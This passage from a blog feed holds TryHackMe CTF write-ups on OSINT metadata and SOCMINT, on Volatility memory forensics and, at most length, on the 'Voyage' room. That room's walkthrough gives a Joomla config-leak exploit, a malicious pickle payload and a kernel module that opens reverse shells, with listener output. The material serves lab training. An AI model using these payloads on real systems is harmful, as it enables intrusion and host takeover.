from malicious files, error codes, false positives, etc. But, in the realm of OSINT, you might stumble upon Metadata.</p><p>Metadata is hidden data stored within files (PDFs, images, and documents) that can expose who created them, when, where, and with what device or software!</p><p>Some of the pieces of information we, as investigators, look at would be:</p><p>. Creation Date</p><p>. Modification Date</p><p>. Author</p><p>. Title</p><p>. Subject</p><p>. Software/Producer</p><p>. Revision Number</p><p>. Template Used</p><p>. Company/Organization</p><p>. Language Settings</p><p>. GPS Coordinates</p><p>. Make &amp; Model</p><p>. Resolution /Frame Rate</p><p>. Device Software</p><p>. Serial Number(s)</p><p>And many more pieces of information that can give us a general/specific idea of what we are looking at/dealing with.</p><p>We, investigators, use metadata to verify the sources, detect tampered documents (Or encrypted data), and inevitably track digital footprints that cybercriminals often forget to remove. That said, let me walk you through the process!</p><p>Let us go over some tools that we, investigators, use:</p><p><strong>Tools Purpose</strong></p><p><strong>Metadata2go</strong> – Upload files to view metadata</p><p><strong>Jeffrey’s Image Metadata Viewer</strong> – Specialized for image metadata.</p><p><strong>Diffchecker</strong> – A data comparison tool that computes and shows the differences between the contents of files.</p><p><strong>ExifTools</strong> – Command-line metadata extraction tool (Advanced-Level) Sometimes, the software can reveal if a document was professionally created or edited by someone who wanted to hide something.</p><p><strong>Your mission:</strong></p><h4>“A suspicious image has been anonymously uploaded to a public forum. While the content appears harmless, your goal is to analyze the metadata to uncover hidden details”</h4><p>Use what you have learned to answer the three (3) questions below!</p><blockquote><strong>Answer the questions below:</strong></blockquote><blockquote>Our investigators are looking for a tool to upload files to view metadata, which tool should they use?</blockquote><h4>Metadata2go</h4><blockquote>Y/N: Metadata2go is a command-line metadata extraction tool.</blockquote><h4>N</h4><blockquote>For Evidence(3), we got intel that the file does include an encrypted code that needs a key to open. The key seems to be “CODECOD”, what is the deciphered message?</blockquote><h4>THM(K@Y_TO_SUCCESS)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*oKq4NPrMSs7JgYHEFZpkfg@2x.jpeg" /><figcaption>Download the file and then use metadata2go tool analys inage</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*xYm4G8TuQ4Dr0OYMDR3mdw@2x.jpeg" /><figcaption>You see description WPIO@A_HR_UIFGGGV</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*J6iFZyCO3OLlvF-o1ho_Dw@2x.jpeg" /><figcaption>Chose operator Vigenère Decode and put the key CODECOD. Put input VP(O@A HRUIGGGV) and then you see the ans is THM(K@Y_TO_SUCCESS)</figcaption></figure><blockquote><strong>Task 5 Social Media Intelligence (SOCMINT)</strong></blockquote><p>Time to explore how publicly available information from social media platforms can be gathered, cross-referenced, and used to build digital profiles, verify identities, or map networks, all ethically, legally, and powerfully!</p><h4><strong>What is SOCMINT?</strong></h4><p><strong>SOCMINT (Social Media Intelligence)</strong> is a branch of OSINT that focuses on collecting, analyzing, and interpreting information from social media platforms like:</p><p>. GitHub</p><p>. YouTube</p><p>. Reddit</p><p>. TikTok</p><p>. Facebook</p><p>. Twitter / X</p><p>. LinkedIn</p><p>. Instagram</p><p>. Even niche platforms like Soundcloud, Strava, Behance, etc.</p><p>Most investigations today, whether cybercrime, missing persons, threat intel, or fraud, have some trace on social media.</p><p>As we know, people can sometimes:</p><p>. Reuse usernames.</p><p>. Post photos with metadata.</p><p>. Cross-link platforms through bios or URLs.</p><p>. Reveal location clues, schedules, habits, and friends.</p><p>. Most importantly, forget that the internet never forgets.</p><p><strong>SOCMINT</strong> gives you the eyes to see all of that, ethically. With the collected information, we can:</p><p>. Assist in locating missing people based on photos and online posts.</p><p>. Verify if a job applicant is lying on LinkedIn.</p><p>. Investigate criminal networks via social media followers.</p><p>. Map digital trails to connect sockpuppet accounts.</p><p>. Trace scammers by linking their bios across platforms.</p><p>As an investigator, you will follow a set of principles when using SOCMINT. Some of these core principles include:</p><p><strong>Everything Must Be Public</strong></p><p>Never engage, log in, friend-request, or scrape private data. OSINT is ethical intelligence, not intrusion.</p><p><strong>Cross-Platform Analysis is King</strong></p><p>A Twitter handle leads to a GitHub: A GitHub leads to a LinkedIn. LinkedIn mentions a university. That university has a photo of a team. Now, you have a name.</p><p><strong>Reused Usernames Are Gold</strong></p><p>People are lazy : Most would reuse the same handle across multiple sites. Our job, as investigators, would be to find that repetition and validate the connection.</p><p><strong>Context Over Data</strong></p><p>Knowing someone posted on Instagram is fine. However, knowing they posted a vacation photo in a specific country at a specific time, while claiming they weren’t at said location, is intelligence.</p><p>Always remember, as Investigators, we also follow ethics when it comes to SOCMINT due to its power, meaning we handle that power with care. Do NOT Dox, Leak, Manipulate, or Intimidate. We are protectors of truth, not stalkers or threat actors. We work for what is right.</p><p>Now, let us look at some tools that we could use in a SOCMINT Investigation:</p><p><strong>Tool Purpose</strong></p><p>WhatsMyName – Find where a username exists across hundreds of platforms.</p><p>Namechk / Namecheckup – Verify username usage.</p><p>Google Dorking – Search specific platforms using keywords and operators.</p><p>Reverse Image Search – Match profile pictures across platforms.</p><p><strong>Answer the questions below</strong></p><blockquote>Complete the following: The Internet</blockquote><h4>Never Forgets</h4><blockquote>Our Investigators have found a username but are not sure if it is being used or not. Which tool would you suggest for the investigators to use?</blockquote><h4>Namecheckup</h4><blockquote>A branch of OSINT that focuses on collecting, analyzing, and interpreting information from social media platforms is called…?</blockquote><h4>SOCMINT</h4><blockquote>Y/N: Jack plans to use SOCMINT to intimidate his friend. This is an example of ethical behavior.</blockquote><h4>N</h4><blockquote><strong>Task 6 OSINT Fusion</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*PDT5EgxffcV4u0VxYIhqPw@2x.jpeg" /><figcaption>Download this image and then do it analysis metadata</figcaption></figure><h4><strong>I leave you now with the final quest of Level 1 – OSINT</strong></h4><h4>“You receive an anonymous tip. No message. No explanation. Just a single image attached to a throwaway email account. The image is innocuous, just a professional-looking stock-style photo. At first glance, it looks like it could’ve been pulled from any business presentation. But something feels off. There’s no watermark. No branding. No source. Just a generic filename: Evidence(4). You decide to pull the metadata. Suddenly, things change. Someone’s name appears in the Artist field. Not a random name, a real person!”</h4><p>From here on, there are no step-by-step instructions. You’ll have to think like an investigator. No one’s going to tell you what the name means. You won’t be told who they are, where they work, or why the image was sent.</p><p>🚨 DO NOT attempt to access private, restricted, or sensitive data. Stick to publicly available sources.</p><blockquote><strong>Answer the questions below</strong></blockquote><blockquote>What is the name of the Artist that sent the image?</blockquote><h4>Christina Lekati</h4><blockquote>We have found that the user has a Twitter / X account. What is their handle?</blockquote><h4>@ChristinaLekati</h4><blockquote>Looks like that image has a secret cipher that is encrypted, and our investigators need your help to decipher it.</blockquote><h4>THMC@ngratulations!}</h4><p>First download the image file and then analysis metadate of the image.</p><p>Use the tool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*oKq4NPrMSs7JgYHEFZpkfg@2x.jpeg" /><figcaption>Metadata2Go</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*YiFl0TCcIu16bCoCVAfVWQ@2x.jpeg" /><figcaption>As you can see the artist name of Chriatinan Lekati</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/340/1*051iSSO-qvZb83o-whfx3w@2x.jpeg" /><figcaption>@ChristinaLekati</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*A_9ZERH9pL_WY8Jgfgvuzw@2x.jpeg" /><figcaption>Take and analys this comment its look like dcode info QEJ(Z@kdoxqr1xaflkp!]</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*sfQNGKPN1tsJtMU14K3HEA@2x.jpeg" /><figcaption>Use the cyberchef chose operator Caesar recipe ROT13 and chose 29 amount input QEJ(Z@kdoxqr1xaflkp!] and then you will see ans is THMC@ngratulations!}</figcaption></figure><p>Finish the game.👏🏼</p><blockquote><strong>Task 7 Epilogue</strong></blockquote><p><strong>You started with a single image, a few clues, and a lot of uncertainty, but you kept digging, kept thinking, and proved that with the right mindset and ethics, even a small trail can lead to real answers. You respected the boundaries, uncovered what was hidden, and saw OSINT not as a shortcut, but as a responsibility. You didn’t just finish Level 1. You rose to it!</strong></p><p>Level 2 won’t hold your hand. But now… it won’t have to.</p><p>Here’s Room 2&#39;s link: <a href="https://tryhackme.com/jr/osintledit2">https://tryhackme.com/jr/osintledit2</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*nL_FDGke4wID3gozs8LLCw@2x.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20177c0b2750" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Voyage]]></title>
            <link>https://medium.com/@0daydeactive/tryhackme-voyage-8633898dabdc?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8633898dabdc</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 16:49:28 GMT</pubDate>
            <atom:updated>2025-11-07T16:49:28.998Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*q7Anix6kHYkCcqZQmoYItA@2x.jpeg" /></figure><p>Voyage started with exploiting a vulnerability in Joomla! CMS to leak its configuration and obtain a set of credentials, which we used with SSH to get a shell inside a container.</p><p>Using our access to this container to enumerate the internal network, we discovered another web application with an insecure deserialization vulnerability and exploited it to get a shell inside another container.</p><p>Lastly, abusing the SYS_MODULE capability granted to the container by installing a kernel module, we were able to obtain a shell on the host and complete the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*_UcaM8hnAs1KxTI_g6tWyA@2x.jpeg" /></figure><h3><strong>Initial Enumeration</strong></h3><p><strong>Nmap Scan</strong></p><p><strong>We start with a port scan:</strong></p><pre>$ nmap -T4 -n -sC -sV -Pn -p- 10.10.235.70<br><br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   256 7b:58:ec:82:2f:ca:de:c9:e5:63:1d:fa:08:42:4b:78 (ECDSA)<br>|_  256 37:7f:17:6a:87:34:82:5f:97:92:59:0a:58:4b:09:82 (ED25519)<br>80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))<br>|_http-title: Home<br>|_http-server-header: Apache/2.4.58 (Ubuntu)<br>| http-robots.txt: 16 disallowed entries (15 shown)<br>...<br>2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 ad:4a:7e:34:01:09:f8:68:d8:f7:dd:b8:57:d4:17:cf (RSA)<br>|   256 8d:cd:5e:60:35:c8:65:66:3a:c5:5c:2f:ac:62:93:80 (ECDSA)<br>|_  256 a9:d5:16:b1:5d:4a:4c:94:3f:fd:a9:68:5f:24:ee:79 (ED25519)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>There are three open ports:</h3><p>22 (SSH)</p><p>80 (HTTP)</p><p>2222 (SSH)</p><p>Web 80</p><p>Visiting http://10.10.235.70/, we see a simple page with a login form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*K8o3OmsU16E_0pFKACc3tA@2x.jpeg" /></figure><p>Checking the source code for the page, we see that it uses Joomla! CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*Ehx_o6CkXlWI6bLD29jEMg@2x.jpeg" /></figure><p>Since it uses Joomla!, by making a request to the /administrator/manifests/files/joomla.xml endpoint, we can discover the version as 4.2.7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*7SVewecgEjoFQ8LpLDb71Q@2x.jpeg" /></figure><h3><strong>Foothold</strong></h3><h3>CVE-2023–23752</h3><p>Searching for vulnerabilities in Joomla! <strong>v4.2.7</strong>, we quickly discover the <strong>CVE-2023–23752 vulnerability</strong>. This vulnerability allows us to bypass access checks on web service endpoints by simply including the GET parameter public and setting it to true in our request, like so: ?public=true.</p><p>You can find a detailed examination of the vulnerability <a href="https://www.vicarius.io/vsociety/posts/cve-2023-23752-joomla-unauthorized-access-vulnerability">here</a>.</p><p>We can use this to make a request to the</p><p>/api/index.php/v1/config/application?public=true</p><p>Endpoint to leak the configuration for Joomla!, which includes the database credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*8JQYlQUS4ye-5jfVhT-7_g@2x.jpeg" /></figure><p>We don’t have access to the database as it is running on localhost; however, we can still try these credentials against the two SSH servers.</p><p>Trying them against the SSH server on port 22, we see that we are not able to authenticate with a password.</p><pre>$ ssh root@10.10.235.70<br>root@10.10.235.70: Permission denied (publickey).</pre><p>However, trying them against the SSH server on port 2222, we see that password authentication is enabled and the credentials also work, giving us a shell as the root user inside a container.</p><pre>$ ssh root@10.10.235.70 -p 2222<br>root@10.10.235.70&#39;s password:<br>root@f5eb774507f2:~# id<br>uid=0(root) gid=0(root) groups=0(root)</pre><h3>User Flag</h3><p>Enumerating Internal Network</p><p>Inside the container, we don’t find anything useful. But checking the network configuration, we can see that it has the <strong>IP address 192.168.100.10 </strong>and is in the <strong>192.168.100.0/24 </strong>network.</p><pre>root@f5eb774507f2:~# ip a<br>1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000<br>    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br>    inet 127.0.0.1/8 scope host lo<br>       valid_lft forever preferred_lft forever<br>    inet6 ::1/128 scope host<br>       valid_lft forever preferred_lft forever<br>8: eth0@if9: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default<br>    link/ether 02:42:c0:a8:64:0a brd ff:ff:ff:ff:ff:ff link-netnsid 0<br>    inet 192.168.100.10/24 brd 192.168.100.255 scope global eth0<br>       valid_lft forever preferred_lft forever</pre><p>Nmap is already available for us inside the container, so we can use it to scan the network for other hosts. Doing so, we can discover that apart from us and the host machine at 192.168.100.1, there is another container running at 192.168.100.12.</p><pre>root@f5eb774507f2:~# nmap -sn 192.168.100.0/24<br><br>Nmap scan report for ip-192-168-100-1.eu-west-1.compute.internal (192.168.100.1)<br>Host is up (0.000029s latency).<br>MAC Address: 02:42:D3:B6:9E:5E (Unknown)<br>Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)<br>Host is up (0.000019s latency).<br>MAC Address: 02:42:C0:A8:64:0C (Unknown)<br>Nmap scan report for f5eb774507f2 (192.168.100.10)<br>Host is up.<br>Nmap done: 256 IP addresses (3 hosts up) scanned in 1.98 seconds<br><br>Nmap done: 256 IP addresses (3 hosts up) scanned in 1.98 seconds</pre><p>Once again using nmap to scan this container for open ports, we can discover port <strong>5000</strong> is open.</p><pre>root@f5eb774507f2:~# nmap -p- 192.168.100.12<br><br>Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)<br>Host is up (0.0000070s latency).<br>Not shown: 65534 closed ports<br>PORT     STATE SERVICE<br>5000/tcp open  upnp<br>MAC Address: 02:42:C0:A8:64:0C (Unknown)<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds</pre><p>Checking 192.168.100.12:5000, we can see it is a webserver.</p><pre>root@f5eb774507f2:~# curl -s http://192.168.100.12:5000/<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;title&gt;Tourism Secret Finance Panel&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;/static/css/bootstrap.min.css&quot;&gt;<br>&lt;/head&gt;<br>&lt;body style=&quot;background: linear-gradient(135deg, #e0f7fa, #80deea); min-height: 100vh;&quot;&gt;<br>    &lt;!-- Navbar --&gt;</pre><p><strong>Insecure Deserialization</strong></p><p>We can use SSH to forward the port to access the web server directly, either by spawning the <strong>SSH</strong> command line with<strong> ~C</strong> on our active session and running <strong>-L</strong> <strong>5000:192.168.100.12:5000:</strong></p><pre>root@f5eb774507f2:~# ~C<br>ssh&gt; -L 5000:192.168.100.12:5000<br>Forwarding port.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*cAuuASrjFAE8To9xD-t6fA@2x.jpeg" /></figure><p>or simply adding the -L 5000:192.168.100.12:5000 argument to our initial SSH command:</p><pre>$ ssh root@10.10.235.70 -p 2222 -L 5000:192.168.100.12:5000</pre><p>Either way, visiting http://127.0.0.1:5000/ now gives us access to the web application at 192.168.100.12:5000, where we see a login form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*ojtAyJtAepCPFc3PMg5OzA@2x.jpeg" /></figure><p>Trying to log in with any credentials works, and we simply get a list of investments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*spr19vQ82aBe-gPoXfSRfw@2x.jpeg" /></figure><p>We don’t see much on the website itself, but checking our login request in Burp Suite, we can see the server setting an interesting cookie called session_data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*svZNa5iPZOzCFynxVEtd5A@2x.jpeg" /></figure><p>Looking at the cookie value, we can quickly identify it as a Python pickle serialized object in hex as it starts with 8004 (pickle protocol version 4) and ends with a dot (2e). We can confirm this using pickletools:</p><pre>$ echo 80049525000000000000007d94288c0475736572948c0474657374948c07726576656e7565948c05383530303094752e | xxd -r -p &gt; x.pickle<br><br>$ python3 -m pickletools x.pickle<br>    0: \x80 PROTO      4<br>    2: \x95 FRAME      37<br>   11: }    EMPTY_DICT<br>   12: \x94 MEMOIZE    (as 0)<br>   13: (    MARK<br>   14: \x8c     SHORT_BINUNICODE &#39;user&#39;<br>   20: \x94     MEMOIZE    (as 1)<br>   21: \x8c     SHORT_BINUNICODE &#39;test&#39;<br>   27: \x94     MEMOIZE    (as 2)<br>   28: \x8c     SHORT_BINUNICODE &#39;revenue&#39;<br>   37: \x94     MEMOIZE    (as 3)<br>   38: \x8c     SHORT_BINUNICODE &#39;85000&#39;<br>   45: \x94     MEMOIZE    (as 4)<br>   46: u        SETITEMS   (MARK at 13)<br>   47: .    STOP<br>highest protocol among opcodes = 4</pre><p>or simply by deserializing (unpickling) it ourselves:</p><pre>$ python3<br>Python 3.13.3 (main, Apr 10 2025, 21:38:51) [GCC 14.2.0] on linux<br>Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.<br>&gt;&gt;&gt; import pickle<br>&gt;&gt;&gt; session_data = &quot;80049525000000000000007d94288c0475736572948c0474657374948c07726576656e7565948c05383530303094752e&quot;<br>&gt;&gt;&gt; obj = pickle.loads(bytes.fromhex(session_data))<br>&gt;&gt;&gt; print(&quot;Unpickled object:&quot;, obj)<br>Unpickled object: {&#39;user&#39;: &#39;test&#39;, &#39;revenue&#39;: &#39;85000&#39;}<br><br>Unpickled object: {&#39;user&#39;: &#39;test&#39;, &#39;revenue&#39;: &#39;85000&#39;}</pre><p>If in our subsequent requests the session_data cookie we have sent is not sanitized and used simply</p><p>by deserializing it, we can use this to achieve RCE by creating a serialized object with a malicious _reduce method that runs a reverse shell payload which gets executed when the object is being deserialized as such:</p><pre>pyload.py<br><br>import pickle<br>import os<br><br>class Malicious:<br>    def __reduce__(self):<br>        return (os.system, (&quot;/bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/10.14.101.76/443 0&gt;&amp;1&#39;&quot;,))<br><br>malicious_pickle = pickle.dumps(Malicious())<br><br>print(&quot;Malicious pickle in hex:&quot;, malicious_pickle.hex())<br><br></pre><p>Now running the script to create our malicious pickled</p><p>object payload:</p><pre>$ python3 payload.py<br>Malicious pickle in hex: 80049553000000000000008c05706f736978948c0673797374656d9493948c382f62696e2f62617368202d63202762617368202d69203e26202f6465762f7463702f31302e31342e3130312e37362f34343320303e26312794859452942e<br></pre><p>Sending our payload in the session_data cookie by making a request to the server, we can see the server hanging.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*-ZJZ6OMfLuzJxN11HtGZ7g@2x.jpeg" /></figure><p>And on our listener, we get a shell as root in another container and can read the user flag at <strong>/root/user.txt :</strong></p><pre>$ nc -lvnp 443<br>listening on [any] 443 ...<br>connect to [10.14.101.76] from (UNKNOWN) [10.10.235.70] 43662<br>bash: cannot set terminal process group (1): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@d221f7bc7bf8:/finance-app# python3 -c ‘import pty;pty.spawn(&quot;/bin/bash&quot;);’<br>root@d221f7bc7bf8:/finance-app# export TERM=xterm<br>root@d221f7bc7bf8:/finance-app# ^Z<br>zsh: suspended  nc -lvnp 443<br><br>$ stty raw -echo; fg<br>[1]  + continued  nc -lvnp 443<br><br>root@d221f7bc7bf8:/finance-app# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@d221f7bc7bf8:/finance-app# wc -c /root/user.txt<br>38 /root/user.txt</pre><p><strong>Root Flag</strong></p><p><strong>Container Escape</strong></p><p>Once again, we don’t find anything useful inside the container; however, checking our capabilities, we can notice that we have the cap_sys_module capability set.</p><pre>root@d221f7bc7bf8:/tmp# capsh --print<br>Current: cap_chown,cap_dac_override,...,cap_sys_module,...</pre><p>The cap_sys_module capability allows us to load</p><p>kernel modules and since the container shares the</p><p>kernel with the host, we can use this to execute code on the host. First, we create a basic kernel module that runs a reverse shell payload upon initialization:</p><pre>shell.c<br><br>#include &lt;linux/init.h&gt;<br>#include &lt;linux/module.h&gt;<br>#include &lt;linux/kmod.h&gt;<br><br>MODULE_LICENSE(&quot;GPL&quot;);<br><br>static int shell(void){<br>	char *argv[] ={&quot;/bin/bash&quot;, &quot;-c&quot;, &quot;bash -i &gt;&amp; /dev/tcp/10.14.101.76/443 0&gt;&amp;1&quot;, NULL};<br>	static char *env[] = {<br>		&quot;HOME=/&quot;,<br>		&quot;TERM=linux&quot;,<br>		&quot;PATH=/sbin:/bin:/usr/sbin:/usr/bin&quot;, NULL };<br>	return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);<br>}<br><br>static int init_mod(void){<br>	return shell();<br>}<br><br>static void exit_mod(void){<br>	return;<br>}<br><br>module_init(init_mod);<br>module_exit(exit_mod);</pre><p>We also create a Makefile to compile it on the target:</p><pre>makefile<br><br>obj-m +=shell.o<br>all:<br>	make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules<br>clean:<br>	make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean</pre><p>Now we can use make to compile our module as shell.ko.</p><pre>root@d221f7bc7bf8:/tmp# ls<br>Makefile  shell.c<br>root@d221f7bc7bf8:/tmp# make<br>make -C /lib/modules/6.8.0-1030-aws/build M=/tmp modules<br>make[1]: Entering directory &#39;/usr/src/linux-headers-6.8.0-1030-aws&#39;<br>warning: the compiler differs from the one used to build the kernel<br>  The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0<br>  You are using:           gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0<br>  CC [M]  /tmp/shell.o<br>  MODPOST /tmp/Module.symvers<br>  CC [M]  /tmp/shell.mod.o<br>  LD [M]  /tmp/shell.ko<br>  BTF [M] /tmp/shell.ko<br>Skipping BTF generation for /tmp/shell.ko due to unavailability of vmlinux<br>make[1]: Leaving directory &#39;/usr/src/linux-headers-6.8.0-1030-aws&#39;<br>root@d221f7bc7bf8:/tmp# ls<br>Makefile  Module.symvers  modules.order  shell.c  shell.ko  shell.mod  shell.mod.c  shell.mod.o  shell.o</pre><p>First, starting our listener:</p><pre>$ nc -lvnp 443<br>listening on [any] 443 ...</pre><p>Now installing our module using insmod:</p><pre>root@d221f7bc7bf8:/tmp# insmod shell.ko</pre><p>Going back to our listener, we can see a shell as root on the host and read the root flag at / root/root.txt to complete the room.</p><pre>$ nc -lvnp 443<br>listening on [any] 443 ...<br>connect to [10.14.101.76] from (UNKNOWN) [10.10.235.70] 43688<br>bash: cannot set terminal process group (-1): Inappropriate ioctl for device<br>bash: no job control in this shell<br>root@tryhackme-2404:/# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@tryhackme-2404:/# wc -c /root/root.txt<br>38 /root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*YsN0Z3wEXkFqG2lWJgqsZQ@2x.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8633898dabdc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Write-up: Critical using Volatility For Windows Memory Forensics.]]></title>
            <link>https://medium.com/@0daydeactive/thm-write-up-critical-using-volatility-for-windows-memory-forensics-e581078da9b8?source=rss-5d8b9deeef4b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e581078da9b8</guid>
            <dc:creator><![CDATA[ABDULLAHI YUSUF]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 12:39:51 GMT</pubDate>
            <atom:updated>2025-11-07T12:39:51.669Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Author</strong> : <strong>ABDULLAHI YUSUF </strong>also known as <strong>0daydeactive</strong>.</p><p><strong><em>“ Acquire the basic skills to analyze a memory dump in a practical scenario.”</em></strong></p><p>This challenge focuses on memory forensics, which involves understanding its concepts, accessing and setting up the environment using tools like Volatility, gathering information from the compromised target, searching for suspicious activity with the obtained data, and extracting and analyzing information from memory dumps using various Volatility plugins.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*JcM1PbCJVWz4mK-c9CU-DQ@2x.jpeg" /></figure><p><strong>Task 1: Introduction</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*72JzTjyVETQukHEVfVOShQ@2x.jpeg" /></figure><p>Learning Objectives</p><p>In this room, we’ll cover the following learning objectives.</p><p>. -Memory Forensics’ basic concepts.</p><p>. -How to access and set up the environment?</p><p>. -Gathering information from the compromised target.</p><p>. -Search for suspicious activity using the information obtained.</p><p>. -Extracting and analyzing data from memory.</p><p>. -Conclusion and further steps after completing the room.</p><p><strong>Task 2: Memory Forensics</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*J_yNq8Uv56pILAo7OAk9Hw@2x.jpeg" /></figure><p>Memory forensics is a subset of computer forensics that analyzes volatile memory, typically on a compromised machine in Windows OS, this corresponds to the Random Access Memory (RAM), whose content is flushed with every reboot or shutdown. It’s one of the usual initial tasks during an incident response.</p><p><strong>Difference from Disk Forensics:</strong></p><p>Provides information about what resides on the target computer.</p><p>Offers details on running processes or applications at a specific time. Gives insights into execution flow that may not be present in regular storage units or application logs.Immediate Snapshot: Memory analysis can provide an immediate snapshot of an application or a timestamp of an attacker’s actions.</p><p><strong>Chronology of Events:</strong> Evidence collected through memory forensics is crucial for creating a timeline of events.</p><p><strong>Two Main Phases:</strong></p><p><strong>1.Memory Acquisition: </strong>Copying live memory to a file (dump) Essential to perform analysis without risking data loss from an inadvertent reboot.Provides proof of analysis if needed.</p><p><strong>2. Memory Analysis: </strong>Detailed examination of the acquired memory dump to extract useful information.</p><p><strong>Task 2: Answer the questions below:</strong></p><p>If you read the sections above, it’s easy to find the answers below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*RgFBkTJh2Dg6nxOz5xWhFw@2x.jpeg" /></figure><p><strong>Task 3: Environment and Setup</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*orXx1OkNzlM0qBkllF9J6g@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*e6M7S0FiB1q4Vk6XTmq7NA@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*DIxnqUg_8Pqb8IQy7CUUbw@2x.jpeg" /></figure><p><strong>For windows</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*YVchs6S-IPvQjcYR1SNa2Q@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*cHWHGiwJHdraOsgSXQ-xsw@2x.jpeg" /></figure><h3><strong>Task 3 Answer the questions below:</strong></h3><p>If you read the sections above, it’s easy to find the answers below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*0E1RmTFk1dZ3_QB5k4y3Pg@2x.jpeg" /></figure><p><strong>Task 4 Gathering Target Information</strong></p><p>Using -f switch to indicate the file to analyze, in this case, memdump.mem followed by the plugin windows.info used to get the general information, as in the example shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*SEZF6e9zcJ8yq-VW6ld_5g@2x.jpeg" /></figure><p><strong>Task 4 : Answers</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*nAvBGL8TIo8Y88fYxdDSVw@2x.jpeg" /></figure><p><strong>Task 5 Searching For Suspicious Activity</strong></p><p><strong>-Using the windows.netscan plugin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*zsYLWwJ4vGKnj2cRm5iAzg@2x.jpeg" /></figure><p><strong>-Using the windows.pstree plugin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*1XBeqwPHQMP8KQWZAhf_KQ@2x.jpeg" /></figure><p><strong>Task 5 Answers:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*v5vUBCHJgn1PpwuMbBHh4g@2x.jpeg" /></figure><p><strong>Task 6 Finding Interesting 